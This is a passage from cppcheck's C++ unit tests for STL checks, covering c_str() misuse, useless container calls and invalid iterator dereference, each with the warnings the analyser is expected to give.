function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void 